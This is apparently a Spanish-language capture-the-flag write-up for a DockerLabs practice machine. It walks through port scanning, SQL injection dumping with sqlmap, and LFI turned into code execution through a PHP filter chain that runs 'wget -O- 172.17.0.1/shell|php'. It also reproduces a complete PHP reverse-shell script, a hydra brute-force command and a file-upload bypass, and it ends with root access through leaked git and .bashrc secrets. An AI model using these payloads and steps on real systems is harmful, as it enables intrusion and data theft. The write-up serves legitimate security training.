> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/report-write-up.md).

# Report write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/cObLaJWd9rsMEEWMXhP3" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

El escaneo nos indica que el puerto 22 (SSH), el 80 (HTTP) y el 3306 (MYSQL) están abiertos. Así que primero investigamos el puerto 80, por lo que ingresamos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="/files/s3EJTyMTOJae2RfidbuO" alt=""><figcaption></figcaption></figure>

Esto indica que tenemos que modificar el archivo `/etc/hosts` para asociar la IP al dominio.

<figure><img src="/files/ywFnP8N3PuFtGwjs152V" alt=""><figcaption></figcaption></figure>

Y ahora ya funcionaria. Por ende, ahora vamos a hacer un escaneo con **Gobuster** y **Dirb** para enumerar todas las rutas disponibles de la página.

<figure><img src="/files/E8IgyrriUYObTw7uuWaD" alt=""><figcaption></figcaption></figure>

```bash
dirb http://realgob.dl/
```

<figure><img src="/files/DRx8VkDXUAzxniacrQzU" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://realgob.dl/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php,py,bak
```

<figure><img src="/files/fn9w13IF4i6SCp4j8Fhl" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidad 1: Inyección SQL en `noticias.php`**

En la dirección `http://realgob.dl/noticias.php?id=1` encontramos que el parámetro `id` es vulnerable a inyecciones SQL. De modo que si ejecutamos lo siguiente podremos observar todos los usuarios y sus contraseñas:

```bash
sqlmap -u http://realgob.dl/noticias.php?id=1  --dump --batch 
```

<figure><img src="/files/mzx0GyTTkh6OmYbbml4g" alt=""><figcaption></figcaption></figure>

```bash
sqlmap -u http://realgob.dl/noticias.php?id=1  -D GOB_BD --batch --dump
```

<figure><img src="/files/b63CD0zsdGJjf8hV5wJi" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidad 2: Local File Inclusion (LFI) en `about.php`**

En la ruta <http://realgob.dl/about.php?file=iniciativas.html>, encontramos que el parámetro es vulnerable y nos permite explotar la vulnerabilidad LFI, con la cual podemos observar archivo sensibles como por ejemplo `/etc/passwd`.

<figure><img src="/files/tFFpZ6zp2wmhFS9YYP2q" alt=""><figcaption></figcaption></figure>

Ademas al tratarse de un archivo PHP, podemos aprovechar los wrappers de PHP para ejecutar comando, para ello nos descargamos el script `php_filter_chain_generator.py` el cual se encuentra en el siguiente [Github](https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py).

Una vez descargado el script ejecutamos lo siguiente:

```bash
python3 php_filter_chain_generator.py --chain '<?= `wget -O- 172.17.0.1/shell|php` ?>'
```

<figure><img src="/files/FS0W6pk9Ty7M9PfVvwK2" alt=""><figcaption></figcaption></figure>

Esta cadena, cuando se introduce en el parámetro `file` de la URL `http://realgob.dl/about.php?file=`, primero, descargará el archivo `shell` desde la dirección IP `172.17.0.1` y después ejecutará el contenido del archivo como PHP.

Así que ahora crearemos el archivo `shell`, el cual contendrá lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Después de crear el archivo, levantamos un servidor con Python ejecutando lo siguiente:

```bash
python3 -m http.server 80
```

Y ahora solo nos ponemos en escucha por el puerto `444` e ingresar la URL con la cadena que generamos anteriormente.

<figure><img src="/files/RljloZlVGe2A7FzLF64Y" alt=""><figcaption></figcaption></figure>

Y así ya abríamos accedido a la máquina víctima.

## **Vulnerabilidad 3: Explotación del login en admin.php**

La siguiente vulnerabilidad se encuentra en la ruta `http://realgob.dl/admin.php`, la cual es un login.

<figure><img src="/files/OQIVJQE7gQMZwCgO89ht" alt=""><figcaption></figcaption></figure>

En este login podemos efectuar un ataque de fuerza bruta con **hydra** ejecutando lo siguiente:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt "realgob.dl" http-post-form "/admin.php:username=^USER^&password=^PASS^:H=Cookie: PHPSESSID=<Valor de la cookie>:F=Usuario o contraseña incorrectos." -F
```

<figure><img src="/files/qyl2ELtXmmA8JDNAh3TQ" alt=""><figcaption></figcaption></figure>

Esto nos indica que podemos iniciar sesión como el usuario `admin` usando como contraseña `admin123`. Una vez iniciamos sesión nos encontramos con lo siguiente:

<figure><img src="/files/jCvgUVrmJ60xxKgGn156" alt=""><figcaption></figcaption></figure>

Así que vamos a intentar subir un archivo malicioso en PHP (usaremos el mismo que usamos en la vulnerabilidad 2). Sin embargo, al intentar subir el archivo nos aparece lo siguiente:

<figure><img src="/files/myKIPUexex5wdNL41369" alt=""><figcaption></figcaption></figure>

Así que vamos a usar **Burpsuite** para interceptar la petición y vamos a modificar el valor de Content-Type a `image/png`.

<figure><img src="/files/Blt8StzQ2CCpZ1kblooA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ddapkcq0orkoFKqx9akx" alt=""><figcaption></figcaption></figure>

Ahora solo nos quedaría ponernos en escucha por el puerto 444 y ejecutar el archivo.

<figure><img src="/files/ocP8DUG8ivOi9p3WzLKV" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el siguiente comando para buscar un repositorio `.git`:

```bash
find / -name "*.git" 2>/dev/null
```

<figure><img src="/files/BuwZZFPaaNQBlJ8qIfxI" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos el siguiente comando para añadir el directorio `/var/www/html/desarrollo/.git` en la lista de directorios seguros:

```bash
git config --global --add safe.directory /var/www/html/desarrollo/.git
```

Después le damos el valor de `/var/www/html/uploads` a la variable `$HOME`. Y ahora ejecutamos el comando `git log`.

<figure><img src="/files/n7PtSn0Ssgrpyn70bo4r" alt=""><figcaption></figcaption></figure>

Esto nos muestra un commit que se hizo por el usuario `adm`, el cual es un usuario de la máquina víctima. Así que vamos a ver el contenido del commit con el siguiente comando:

```bash
git show 0baffeec1777f9dfe201c447dcbc37f10ce1dafa
```

<figure><img src="/files/zmmIKI0xmIWiAppOo49T" alt=""><figcaption></figcaption></figure>

Esto nos indica la contraseña del usuario `adm` es `9fR8pLt@Q2uX7dM^sW3zE5bK8nQ@7pX`.

<figure><img src="/files/3YcpNykdGZjwEr2FeAZn" alt=""><figcaption></figcaption></figure>

Ahora dentro del archivo `/home/adm/.bashrc` nos encontramos la variable `MY_PASS` la cual parece que su contenido está en hexadecimal:

<figure><img src="/files/7o2QQzbW4ICvcm2hdfh8" alt=""><figcaption></figcaption></figure>

Así que vamos a ejecutar lo siguiente para decodificar en hexadecimal:

```bash
echo 646f636b65726c6162733475 | xxd -r -p
```

<figure><img src="/files/y76fLGtiCyaEuoVndS6r" alt=""><figcaption></figcaption></figure>

Esto nos indica que `dockerlabs4u` corresponde con `646f636b65726c6162733475`. Así que vamos a usar `dockerlabs4u` como contraseña para iniciar sesión como usuario root.

<figure><img src="/files/tarTeLcxNh6CNCG20b31" alt=""><figcaption></figcaption></figure>
